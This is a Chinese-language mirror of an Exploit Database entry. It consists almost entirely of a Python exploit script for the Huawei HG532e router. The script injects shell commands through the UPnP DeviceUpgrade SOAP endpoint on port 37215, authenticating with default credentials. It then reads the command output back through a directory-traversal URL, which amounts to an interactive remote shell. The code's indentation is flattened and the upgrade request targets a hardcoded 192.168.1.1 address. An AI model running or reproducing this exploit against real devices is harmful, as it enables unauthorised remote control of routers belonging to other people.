Huawei Router HG532e – Command Execution

• Exploit Database
• 19 阅读

• 作者： Rebellion
  日期： 2018-12-14
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/45991/

• #!/bin/python
  '''
  Author : Rebellion
  Github : @rebe11ion
  Twitter : @rebellion
  '''
  
  import urllib2,requests,os,sys
  from requests.auth import HTTPDigestAuth
  DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
  DEFAULT_TIMEOUT = 5
  def fetch_url(url):
  global DEFAULT_HEADERS, DEFAULT_TIMEOUT
  request = urllib2.Request(url, headers=DEFAULT_HEADERS)
  data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
  return data
  
  def exploit(ip, path):
  url = "http://%s:37215/icon/../../../%s" % (ip, path)
  data = fetch_url(url)
  return data
  
  def main():
  pwd = "/"
  cmd_path = "/tmp/ccmd"
  pwd_path = "/tmp/cpwd"
  while True:
   targetip = sys.argv[1]
   cmd_ = raw_input("[{}]$ ".format(pwd))
   cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path)
   rm = "<?xml version=\"1.0\" ?>\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n<NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n</s:Body>\n</s:Envelope>"
   url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1"
   requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
   assert cmd_path.startswith("/"), "An absolute path is required"
   data = exploit(targetip, cmd_path)
   open(cmd_path,"wb").write(data)
   if "cd" in cmd_:
  pass
   elif "clear" in cmd_:
  os.system("clear")
   elif "cat" in cmd_:
  os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path))
   else:
  if "|" in cmd_:
   os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1]))
  else:
   os.system("cat {}".format(cmd_path))
   pwd = exploit(targetip,pwd_path).strip("\n")
  
  if __name__ == "__main__":
  main()